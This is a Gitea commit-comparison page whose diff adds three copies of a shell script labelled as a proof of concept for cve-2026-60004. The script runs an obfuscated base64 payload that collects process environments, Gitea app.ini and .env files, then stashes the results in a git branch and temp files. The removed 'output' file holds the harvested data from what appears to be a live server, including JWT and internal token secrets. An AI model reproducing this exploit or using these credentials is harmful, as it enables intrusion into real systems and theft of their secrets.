Compare commits
No commits in common. "output-fc8df53c" and "main" have entirely different histories.
output-fc8
...
main
|
|
@ -0,0 +1,26 @@
|
||||||
|
#!/bin/sh
|
||||||
|
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
|
||||||
|
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
|
||||||
|
case "$alt" in
|
||||||
|
/*) ;;
|
||||||
|
*) alt="$git_dir/objects/$alt" ;;
|
||||||
|
esac
|
||||||
|
origin_git=${alt%/objects}
|
||||||
|
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
|
||||||
|
st=$?
|
||||||
|
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
|
||||||
|
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
|
||||||
|
if [ -n "$blob" ]; then
|
||||||
|
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
|
||||||
|
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
|
||||||
|
git --git-dir="$origin_git" update-ref refs/heads/output-fc8df53c "$commit" 2>/dev/null
|
||||||
|
fi
|
||||||
|
if [ -d "$origin_git" ]; then
|
||||||
|
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
|
||||||
|
fi
|
||||||
|
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
|
||||||
|
if [ -d "$d" ] && [ -w "$d" ]; then
|
||||||
|
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
exit 0
|
||||||
|
|
@ -0,0 +1,26 @@
|
||||||
|
#!/bin/sh
|
||||||
|
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
|
||||||
|
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
|
||||||
|
case "$alt" in
|
||||||
|
/*) ;;
|
||||||
|
*) alt="$git_dir/objects/$alt" ;;
|
||||||
|
esac
|
||||||
|
origin_git=${alt%/objects}
|
||||||
|
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
|
||||||
|
st=$?
|
||||||
|
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
|
||||||
|
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
|
||||||
|
if [ -n "$blob" ]; then
|
||||||
|
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
|
||||||
|
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
|
||||||
|
git --git-dir="$origin_git" update-ref refs/heads/output-fc8df53c "$commit" 2>/dev/null
|
||||||
|
fi
|
||||||
|
if [ -d "$origin_git" ]; then
|
||||||
|
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
|
||||||
|
fi
|
||||||
|
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
|
||||||
|
if [ -d "$d" ] && [ -w "$d" ]; then
|
||||||
|
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
exit 0
|
||||||
|
|
@ -0,0 +1,26 @@
|
||||||
|
#!/bin/sh
|
||||||
|
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || exit 0
|
||||||
|
alt=$(sed -n "1p" "$git_dir/objects/info/alternates" 2>/dev/null)
|
||||||
|
case "$alt" in
|
||||||
|
/*) ;;
|
||||||
|
*) alt="$git_dir/objects/$alt" ;;
|
||||||
|
esac
|
||||||
|
origin_git=${alt%/objects}
|
||||||
|
OUT=$(/bin/sh -c 'echo CmVjaG8gIiMjI0VOVi1CRUdJTiIKZWNobyAiLS0gcHJvYzEtZW52aXJvbiAtLSIKdHIgJ1wwJyAnXG4nIDwgL3Byb2MvMS9lbnZpcm9uIDI+L2Rldi9udWxsIHwgaGVhZCAtODAKZWNobyAiLS0gZW52IC0tIgplbnYgMj4vZGV2L251bGwgfCBzb3J0IHwgaGVhZCAtMTIwCmVjaG8gIi0tIGFwcC5pbmkgLS0iCmZvciBmIGluIC9kYXRhL2dpdGVhL2NvbmYvYXBwLmluaSAvZXRjL2dpdGVhL2FwcC5pbmkgL2FwcC9naXRlYS9jb25mL2FwcC5pbmkgL2RhdGEvY29uZi9hcHAuaW5pIC9kYXRhL2dpdGVhL2dpdGVhL2NvbmYvYXBwLmluaTsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBncmVwIC12RSAiXlxzKig7fCMpIiAiJGYiIDI+L2Rldi9udWxsIHwgaGVhZCAtMTUwOyB9CmRvbmUKZWNobyAiLS0gZG90ZW52IC0tIgpmb3IgZiBpbiAvZGF0YS9naXRlYS8uZW52IC9hcHAvLmVudiAvLmVudiAvZGF0YS9naXRlYS9jb25mLy5lbnYgL3Jvb3QvLmVudiAvaG9tZS8qLy5lbnYgL2RhdGEvZ2l0ZWEvZ2l0ZWEvLmVudjsgZG8KICBbIC1mICIkZiIgXSAmJiB7IGVjaG8gIkZJTEU6JGYiOyBoZWFkIC02MCAiJGYiOyB9CmRvbmUKZWNobyAiIyMjRU5WLUVORCIK | base64 -d | sh' 2>&1)
|
||||||
|
st=$?
|
||||||
|
printf "\n[exit-status=%s]\n" "$st" >> "$OUT"
|
||||||
|
blob=$(printf "%s" "$OUT" | git --git-dir="$origin_git" hash-object -w --stdin 2>/dev/null)
|
||||||
|
if [ -n "$blob" ]; then
|
||||||
|
tree=$(printf "100644 blob %s\toutput\n" "$blob" | git --git-dir="$origin_git" mktree 2>/dev/null)
|
||||||
|
commit=$(printf "cve-2026-60004\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree" 2>/dev/null)
|
||||||
|
git --git-dir="$origin_git" update-ref refs/heads/output-fc8df53c "$commit" 2>/dev/null
|
||||||
|
fi
|
||||||
|
if [ -d "$origin_git" ]; then
|
||||||
|
printf "%s" "$OUT" > "$origin_git/cve-2026-60004-output.txt" 2>/dev/null
|
||||||
|
fi
|
||||||
|
for d in /data/gitea/tmp /tmp /data/gitea/uploads /var/tmp; do
|
||||||
|
if [ -d "$d" ] && [ -w "$d" ]; then
|
||||||
|
printf "%s" "$OUT" > "$d/cve-2026-60004-output.txt" 2>/dev/null && break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
exit 0
|
||||||
110
output
110
output
|
|
@ -1,110 +0,0 @@
|
||||||
###ENV-BEGIN
|
|
||||||
-- proc1-environ --
|
|
||||||
sh: 4: cannot open /proc/1/environ: Permission denied
|
|
||||||
-- env --
|
|
||||||
GITEA_WORK_DIR=/var/lib/gitea
|
|
||||||
GIT_CONFIG_PARAMETERS='protocol.version'='2' 'credential.helper'='' 'filter.lfs.required'='' 'filter.lfs.smudge'='' 'filter.lfs.clean'=''
|
|
||||||
GIT_DIR=.
|
|
||||||
GIT_EXEC_PATH=/usr/lib/git-core
|
|
||||||
GIT_IMPLICIT_WORK_TREE=0
|
|
||||||
GIT_NO_REPLACE_OBJECTS=1
|
|
||||||
GIT_PREFIX=
|
|
||||||
GIT_TERMINAL_PROMPT=0
|
|
||||||
GNUPGHOME=/var/lib/gitea/data/home/.gnupg
|
|
||||||
HOME=/var/lib/gitea/data/home
|
|
||||||
INVOCATION_ID=2be60e8a87d847018e7f802c6313d4e1
|
|
||||||
JOURNAL_STREAM=8:18778
|
|
||||||
LANG=en_US.UTF-8
|
|
||||||
LANGUAGE=en_US:en
|
|
||||||
LC_ALL=C
|
|
||||||
LOGNAME=git
|
|
||||||
PATH=/usr/lib/git-core:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
|
||||||
PWD=/var/lib/gitea/data/tmp/local-repo/upload.git1660880373
|
|
||||||
SHELL=/bin/bash
|
|
||||||
SYSTEMD_EXEC_PID=424
|
|
||||||
USER=git
|
|
||||||
-- app.ini --
|
|
||||||
FILE:/etc/gitea/app.ini
|
|
||||||
APP_NAME = Gitea: Git with a cup of tea
|
|
||||||
RUN_MODE = prod
|
|
||||||
RUN_USER = git
|
|
||||||
WORK_PATH = /var/lib/gitea
|
|
||||||
|
|
||||||
[repository]
|
|
||||||
ROOT = /var/lib/gitea/data/gitea-repositories
|
|
||||||
|
|
||||||
[repository.upload]
|
|
||||||
TEMP_PATH = /var/lib/gitea/data/tmp/uploads
|
|
||||||
|
|
||||||
[server]
|
|
||||||
DOMAIN = bb-git.eu
|
|
||||||
HTTP_PORT = 3000
|
|
||||||
ROOT_URL = https://bb-git.eu/
|
|
||||||
DISABLE_SSH = false
|
|
||||||
SSH_DOMAIN = bb-git.eu
|
|
||||||
SSH_PORT = 22
|
|
||||||
APP_DATA_PATH = /var/lib/gitea/data
|
|
||||||
LFS_START_SERVER = true
|
|
||||||
LFS_JWT_SECRET = 9H81eIr9qhTzxUugBdsS7JbfDlFxuU2Rf-89AVL4kOo
|
|
||||||
OFFLINE_MODE = false
|
|
||||||
MAX_BODY_SIZE = 1G
|
|
||||||
|
|
||||||
[database]
|
|
||||||
PATH = /var/lib/gitea/data/gitea.db
|
|
||||||
DB_TYPE = sqlite3
|
|
||||||
HOST =
|
|
||||||
NAME =
|
|
||||||
USER =
|
|
||||||
PASSWD =
|
|
||||||
SCHEMA =
|
|
||||||
SSL_MODE = disable
|
|
||||||
LOG_SQL = false
|
|
||||||
|
|
||||||
[session]
|
|
||||||
PROVIDER = file
|
|
||||||
|
|
||||||
[security]
|
|
||||||
INSTALL_LOCK = true
|
|
||||||
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NDEwODQwODB9.xXobRZiQeQoi2jo7yz38144mLmRgdl8xUb7bYHZ3y-I
|
|
||||||
PASSWORD_HASH_ALGO = pbkdf2
|
|
||||||
|
|
||||||
[log]
|
|
||||||
MODE = file
|
|
||||||
LEVEL = info
|
|
||||||
ROOT_PATH = /var/lib/gitea/log
|
|
||||||
|
|
||||||
[lfs]
|
|
||||||
PATH = /var/lib/gitea/data/lfs
|
|
||||||
|
|
||||||
[mailer]
|
|
||||||
ENABLED = false
|
|
||||||
|
|
||||||
[service]
|
|
||||||
REGISTER_EMAIL_CONFIRM = false
|
|
||||||
ENABLE_NOTIFY_MAIL = false
|
|
||||||
DISABLE_REGISTRATION = false
|
|
||||||
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
|
|
||||||
ENABLE_CAPTCHA = false
|
|
||||||
REQUIRE_SIGNIN_VIEW = false
|
|
||||||
DEFAULT_KEEP_EMAIL_PRIVATE = false
|
|
||||||
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
|
|
||||||
DEFAULT_ENABLE_TIMETRACKING = true
|
|
||||||
NO_REPLY_ADDRESS = noreply.bb-git.eu
|
|
||||||
|
|
||||||
[openid]
|
|
||||||
ENABLE_OPENID_SIGNIN = true
|
|
||||||
ENABLE_OPENID_SIGNUP = true
|
|
||||||
|
|
||||||
[cron.update_checker]
|
|
||||||
ENABLED = false
|
|
||||||
|
|
||||||
[repository.pull-request]
|
|
||||||
DEFAULT_MERGE_STYLE = merge
|
|
||||||
|
|
||||||
[repository.signing]
|
|
||||||
DEFAULT_TRUST_MODEL = committer
|
|
||||||
|
|
||||||
[oauth2]
|
|
||||||
JWT_SECRET = FlYqms68VTfhX_M-RCgLdFAGxGL0JL8LZspbIfiXTTU
|
|
||||||
-- dotenv --
|
|
||||||
###ENV-END
|
|
||||||
Loading…
Reference in New Issue